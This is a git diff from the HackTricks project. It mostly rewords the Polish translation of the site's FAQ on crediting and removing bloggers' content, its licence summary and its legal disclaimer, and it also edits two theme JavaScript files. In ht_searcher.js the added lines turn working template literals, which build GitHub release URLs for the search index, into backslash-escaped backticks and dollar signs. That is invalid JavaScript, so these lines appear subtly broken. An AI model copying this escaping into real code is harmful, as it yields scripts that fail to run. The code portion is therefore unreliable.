**nie zakłócają procesu nauki**, jeśli ktoś skupi się na treści. -Nie znajdziesz HackTricks wypełnionego irytującymi reklamami jak na innych blogach o znacznie mniejszej zawartości, ponieważ HackTricks nie jest tworzony w celach komercyjnych. +Nie znajdziesz HackTricks wypełnionego irytującymi reklamami jak inne blogi z dużo mniejszą ilością treści niż HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych. > [!CAUTION] > -> - **Co mam zrobić, jeśli jakaś strona HackTricks jest oparta na moim wpisie na blogu, ale nie została do niej podana referencja?** +> - **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie ma odniesienia?** -**Bardzo nam przykro. To nie powinno się zdarzyć**. Proszę, daj nam znać przez Github issues, Twitter, Discord... podając link do strony HackTricks z daną treścią oraz link do Twojego bloga i **sprawdzimy to i dodamy odnośnik jak najszybciej**. +**Bardzo przepraszamy. To nie powinno się zdarzyć**. Proszę, daj nam znać przez Github issues, Twitter, Discord... podaj link do strony HackTricks z tą treścią oraz link do twojego bloga i **sprawdzimy to i dodamy je jak najszybciej**. > [!CAUTION] > -> - **Co mam zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę, aby tam była?** +> - **Co powinienem zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę jej tam?** -Zwróć uwagę, że posiadanie linków do Twojej strony w HackTricks: +Zwróć uwagę, że posiadanie linków do twojej strony w HackTricks: -- Poprawia Twoje **SEO** -- Treść jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej zawartości -- **HackTricks zachęca** ludzi do **sprawdzenia Twojej strony** (kilka osób wspomniało nam, że odkąd ich strona znalazła się w HackTricks, otrzymują więcej odwiedzin) +- Poprawia twoje **SEO** +- Treść jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści +- **HackTricks zachęca** ludzi do **sprawdzenia twojej strony** (wiele osób wspomniało nam, że od czasu, gdy ich strona znalazła się w HackTricks, otrzymują więcej odwiedzin) -Jeśli jednak nadal chcesz, aby treść z Twojego bloga została usunięta z HackTricks, po prostu daj nam znać i **usuniemy każdy link do Twojego bloga** oraz wszelkie treści na nim oparte. +Jeśli jednak nadal chcesz, aby zawartość twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a na pewno **usunemy każdy link do twojego bloga** oraz wszelkie treści oparte na nim. > [!CAUTION] > -> - **Co mam zrobić, jeśli znajdę skopiowaną treść w HackTricks?** +> - **Co powinienem zrobić, jeśli znajdę skopiowaną treść w HackTricks?** -Zawsze **przyznajemy autorom oryginalnym wszystkie zasługi**. Jeśli znajdziesz stronę ze skopiowaną treścią bez podanego źródła, daj nam znać — albo **usuniemy ją**, **dodamy link przed tekstem**, albo **przepiszemy ją, dodając odnośnik**. +Zawsze **przyznajemy oryginalnym autorom wszelkie zasługi**. Jeśli znajdziesz stronę ze skopiowaną treścią bez odwołania do oryginalnego źródła, daj nam znać, a my albo **usuniemy ją**, **dodamy link przed tekstem**, albo **przepiszemy ją, dodając link**. ## LICENCJA @@ -111,33 +111,33 @@ Copyright © Wszelkie prawa zastrzeżone, chyba że zaznaczono inaczej. #### Podsumowanie licencji: - Atrybucja: Masz prawo do: -- Udostępnianie — kopiowania i rozpowszechniania materiału w dowolnym medium lub formacie. -- Adaptacja — remiksowania, przekształcania i tworzenia na podstawie materiału. +- Udostępniać — kopiować i rozpowszechniać materiały w dowolnym medium lub formacie. +- Modyfikować — remiksować, przekształcać i tworzyć prace na bazie materiału. #### Dodatkowe warunki: -- Treści stron trzecich: Niektóre części tego bloga/książki mogą zawierać materiały pochodzące z innych źródeł, takie jak fragmenty innych blogów lub publikacji. Korzystanie z takich materiałów odbywa się zgodnie z zasadami dozwolonego użytku (fair use) lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy odwołać się do oryginalnych źródeł w celu uzyskania szczegółowych informacji o licencjonowaniu dotyczących treści stron trzecich. -- Autorstwo: Oryginalne treści autorstwa HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisania autorstwa podczas udostępniania lub adaptowania tych materiałów. +- Treści osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takich treści odbywa się na zasadach dozwolonego użytku (fair use) lub za wyraźną zgodą odpowiednich posiadaczy praw autorskich. Proszę odnieść się do oryginalnych źródeł w celu uzyskania szczegółowych informacji o licencjonowaniu materiałów stron trzecich. +- Autorstwo: Oryginalne treści stworzone przez HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisywania autorstwa tej pracy autorowi podczas udostępniania lub adaptowania jej. #### Wyłączenia: -- Wykorzystanie komercyjne: W sprawie wykorzystania komercyjnego tych materiałów prosimy o kontakt. +- Wykorzystanie komercyjne: W sprawach dotyczących komercyjnego wykorzystania tych treści, proszę o kontakt. -Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych ani brandingu w związku z zawartością. Wszystkie znaki towarowe i elementy brandingu przedstawione w tym blogu/książce należą do ich odpowiednich właścicieli. +Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych ani brandingu w odniesieniu do treści. Wszystkie znaki towarowe i elementy brandingu występujące na tym blogu/książce są własnością ich odpowiednich właścicieli. -**Korzystając z HackTricks, zgadzasz się przestrzegać warunków tej licencji. Jeśli się z nimi nie zgadzasz, prosimy nie uzyskiwać dostępu do tej strony.** +**Poprzez dostęp do HackTricks lub jego użytkowanie zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, proszę, nie korzystaj z tej witryny.** ## **Zrzeczenie odpowiedzialności** > [!CAUTION] -> Ta książka, 'HackTricks', ma charakter wyłącznie edukacyjny i informacyjny. Zawartość tej książki jest udostępniona na zasadzie "tak jak jest" i autorzy oraz wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych ani dorozumianych, co do kompletności, dokładności, wiarygodności, przydatności ani dostępności informacji, produktów, usług czy powiązanych ilustracji zawartych w tej książce. Każde poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko. +> Ta książka, 'HackTricks', ma charakter wyłącznie edukacyjny i informacyjny. Zawartość tej książki jest udostępniana w stanie "tak jak jest", a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji, wyraźnych ani dorozumianych, dotyczących kompletności, dokładności, rzetelności, przydatności ani dostępności informacji, produktów, usług czy powiązanych grafik zawartych w tej książce. Każde poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko. > -> Autorzy i wydawcy w żadnym wypadku nie będą odpowiedzialni za jakiekolwiek straty lub szkody, w tym bez ograniczeń straty pośrednie lub następcze, ani jakiekolwiek straty lub szkody wynikające z utraty danych lub zysków związanych z korzystaniem z tej książki. +> Autorzy i wydawcy w żadnym wypadku nie będą odpowiedzialni za jakiekolwiek straty lub szkody, w tym między innymi szkody pośrednie lub wynikowe, ani za jakiekolwiek straty czy szkody wynikające z utraty danych lub zysków powstałe w związku z korzystaniem z tej książki. > -> Ponadto techniki i wskazówki opisane w tej książce są przeznaczone wyłącznie do celów edukacyjnych i informacyjnych i nie powinny być wykorzystywane do działań nielegalnych lub złośliwych. Autorzy i wydawcy nie pochwalają ani nie wspierają żadnych działań nielegalnych lub nieetycznych, a korzystanie z informacji zawartych w tej książce odbywa się na ryzyko i odpowiedzialność użytkownika. +> Ponadto techniki i wskazówki opisane w tej książce są podane jedynie w celach edukacyjnych i informacyjnych i nie powinny być używane do żadnych nielegalnych ani złośliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych lub nieetycznych działań, a wszelkie wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i według własnego uznania użytkownika. > -> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze szukać porady oraz pomocy profesjonalnej przy próbach wdrożenia jakichkolwiek opisanych technik lub wskazówek. +> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i zawsze powinien szukać profesjonalnej porady i pomocy przy próbach wdrożenia jakichkolwiek opisanych tu technik lub wskazówek. > -> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności i zobowiązań za wszelkie szkody, straty lub krzywdy, które mogą wyniknąć z użycia tej książki lub informacji w niej zawartych. +> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności za jakiekolwiek szkody, straty lub krzywdy, które mogą wyniknąć z używania tej książki lub jakichkolwiek informacji w niej zawartych. {{#include ../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 761454181..22e64f5f8 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -491,3 +491,4 @@ handle.addEventListener("touchstart", onStart, { passive: false }); } })(); + diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index 77f10f607..6b105f263 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -68,11 +68,11 @@ const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download'; const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download'; - const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); - const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); + const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); + const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); - const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`); - const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`); + const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`); + const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`); const indices = []; const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main); @@ -208,3 +208,4 @@ listOut.classList.toggle('hidden',!docs.length); }; })(); +